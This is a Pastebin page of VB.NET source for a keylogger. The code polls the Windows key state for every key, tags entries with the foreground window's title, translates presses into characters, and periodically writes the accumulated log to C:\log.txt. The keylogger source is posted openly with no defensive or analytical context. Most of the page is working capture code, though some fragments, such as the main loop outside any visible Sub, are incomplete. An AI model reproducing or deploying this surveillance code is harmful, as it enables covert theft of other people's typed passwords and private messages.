Advertisement
Guest User

Untitled

a guest
Jul 21st, 2017
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 7.76 KB | None | 0 0
  1. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
  2.     Private Declare Function GetAnyncKeySync Lib "user32" (ByVal vKey As Int32) As Int16
  3.     Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Int32) As Int16
  4.     Const vbKeyNumLock = &H90
  5.     Private Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr
  6.     Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As IntPtr, ByRef lpdwProcessID As Integer) As Integer
  7.     Dim currentwindow As String
  8.     Dim justi As String
  9.  
  10. Dim i As Integer
  11.         Const Pressed = -32767
  12.         For i = 2 To 255
  13.             If GetAsyncKeyState(i) = Pressed Then
  14.                 Dim hWnd As IntPtr = GetForegroundWindow()
  15.                 If hWnd = IntPtr.Zero Then Exit Sub
  16.                 Dim pid As Integer = 0
  17.                 GetWindowThreadProcessId(hWnd, pid)
  18.                 If pid = 0 Then Exit Sub
  19.                 Dim proc As Process = Process.GetProcessById(pid)
  20.                 If proc Is Nothing Then Exit Sub
  21.  
  22.                 Dim process1 As Process
  23.                 For Each process1 In Process.GetProcesses
  24.                     If (process1.MainWindowTitle.Trim.Length > 1) Then
  25.                         If process1.Id = proc.Id Then
  26.                             If currentwindow = process1.MainWindowTitle Then
  27.                             Else
  28.                                 log.Text = log.Text & vbNewLine & "[Inside Window{" & process1.MainWindowTitle & "}]" & vbNewLine
  29.                                 currentwindow = process1.MainWindowTitle
  30.                             End If
  31.                         Else
  32.                         End If
  33.                     End If
  34.                 Next
  35.  
  36.                 Select Case i
  37.                     Case 8
  38.                         log.Text = log.Text & vbNewLine & "[BKSpace]"
  39.                     Case 9
  40.                         log.Text = log.Text & vbNewLine & "[TAB]"
  41.                     Case 13
  42.                         log.Text = log.Text & vbNewLine
  43.                     Case 20
  44.                         log.Text = log.Text & vbNewLine & "[CAPS]"
  45.                     Case 32
  46.                         log.Text = log.Text & " "
  47.                     Case 48
  48.                         If GetShift() = True Then log.Text = log.Text & ")" Else log.Text = log.Text & "0"
  49.                     Case 49
  50.                         If GetShift() = True Then log.Text = log.Text & "!" Else log.Text = log.Text & "1"
  51.                     Case 50
  52.                         If GetShift() = True Then log.Text = log.Text & "@" Else log.Text = log.Text & "2"
  53.                     Case 51
  54.                         If GetShift() = True Then log.Text = log.Text & "#" Else log.Text = log.Text & "3"
  55.                     Case 52
  56.                         If GetShift() = True Then log.Text = log.Text & "$" Else log.Text = log.Text & "4"
  57.                     Case 53
  58.                         If GetShift() = True Then log.Text = log.Text & "%" Else log.Text = log.Text & "5"
  59.                     Case 54
  60.                         If GetShift() = True Then log.Text = log.Text & "^" Else log.Text = log.Text & "6"
  61.                     Case 55
  62.                         If GetShift() = True Then log.Text = log.Text & "&" Else log.Text = log.Text & "7"
  63.                     Case 56
  64.                         If GetShift() = True Then log.Text = log.Text & "*" Else log.Text = log.Text & "8"
  65.                     Case 57
  66.                         If GetShift() = True Then log.Text = log.Text & "(" Else log.Text = log.Text & "9"
  67.                     Case 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90
  68.                         If GetCapsLock() = True Then
  69.                             If GetShift() = True Then log.Text = log.Text & LCase(Chr(i)) Else log.Text = log.Text & UCase(Chr(i))
  70.                         Else
  71.                             If GetShift() = True Then log.Text = log.Text & UCase(Chr(i)) Else log.Text = log.Text & LCase(Chr(i))
  72.                         End If
  73.                     Case 96
  74.                         log.Text = log.Text & "0"
  75.                     Case 97
  76.                         log.Text = log.Text & "1"
  77.                     Case 98
  78.                         log.Text = log.Text & "2"
  79.                     Case 99
  80.                         log.Text = log.Text & "3"
  81.                     Case 100
  82.                         log.Text = log.Text & "4"
  83.                     Case 101
  84.                         log.Text = log.Text & "5"
  85.                     Case 102
  86.                         log.Text = log.Text & "6"
  87.                     Case 103
  88.                         log.Text = log.Text & "7"
  89.                     Case 104
  90.                         log.Text = log.Text & "8"
  91.                     Case 105
  92.                         log.Text = log.Text & "9"
  93.                     Case 106
  94.                         log.Text = log.Text & "*"
  95.                     Case 107
  96.                         log.Text = log.Text & "+"
  97.                     Case 109
  98.                         log.Text = log.Text & "-"
  99.                     Case 110
  100.                         log.Text = log.Text & "."
  101.                     Case 111
  102.                         log.Text = log.Text & "/"
  103.                     Case 144
  104.                         log.Text = log.Text & vbNewLine & "[NUMLOCK]"
  105.                     Case 192
  106.                         If GetShift() = True Then log.Text = log.Text & "~" Else log.Text = log.Text & "`"
  107.                     Case 189
  108.                         If GetShift() = True Then log.Text = log.Text & "_" Else log.Text = log.Text & "-"
  109.                     Case 187
  110.                         If GetShift() = True Then log.Text = log.Text & "+" Else log.Text = log.Text & "="
  111.                     Case 219
  112.                         If GetShift() = True Then log.Text = log.Text & "{" Else log.Text = log.Text & "["
  113.                     Case 221
  114.                         If GetShift() = True Then log.Text = log.Text & "}" Else log.Text = log.Text & "]"
  115.                     Case 220
  116.                         If GetShift() = True Then log.Text = log.Text & "|" Else log.Text = log.Text & "\"
  117.                     Case 186
  118.                         If GetShift() = True Then log.Text = log.Text & ":" Else log.Text = log.Text & ";"
  119.                     Case 222
  120.                         If GetShift() = True Then log.Text = log.Text & """" Else log.Text = log.Text & "'"
  121.                     Case 188
  122.                         If GetShift() = True Then log.Text = log.Text & "<" Else log.Text = log.Text & ","
  123.                     Case 190
  124.                         If GetShift() = True Then log.Text = log.Text & ">" Else log.Text = log.Text & "."
  125.                     Case 191
  126.                         If GetShift() = True Then log.Text = log.Text & "?" Else log.Text = log.Text & "/"
  127.                 End Select
  128.             End If
  129.             justi = CStr(i)
  130.         Next i
  131.  
  132.  
  133.     Private Function GetCapsLock() As Boolean
  134.         GetCapsLock = CBool(GetKeyState(20))
  135.     End Function
  136.  
  137.     Private Function GetShift() As Boolean
  138.         GetShift = CBool(GetAsyncKeyState(16))
  139.     End Function
  140.  
  141.     Public Function NumLockOn() As Boolean
  142.         Dim iKeyState As Integer
  143.         iKeyState = GetKeyState(vbKeyNumLock)
  144.         NumLockOn = (iKeyState = 1 Or iKeyState = -127)
  145.     End Function
  146.  
  147.     Private Sub save_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles save.Tick
  148.         If flag = True Then
  149.             Exit Sub
  150.         Else
  151.             Dim writer As New System.IO.StreamWriter("C:\log.txt")
  152.             Try
  153.                 System.IO.File.Delete("C:\log.txt")
  154.             Catch ex As Exception
  155.  
  156.             End Try
  157.             writer.Write(log.Text)
  158.             writer.Close()
  159.         End If
  160.     End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement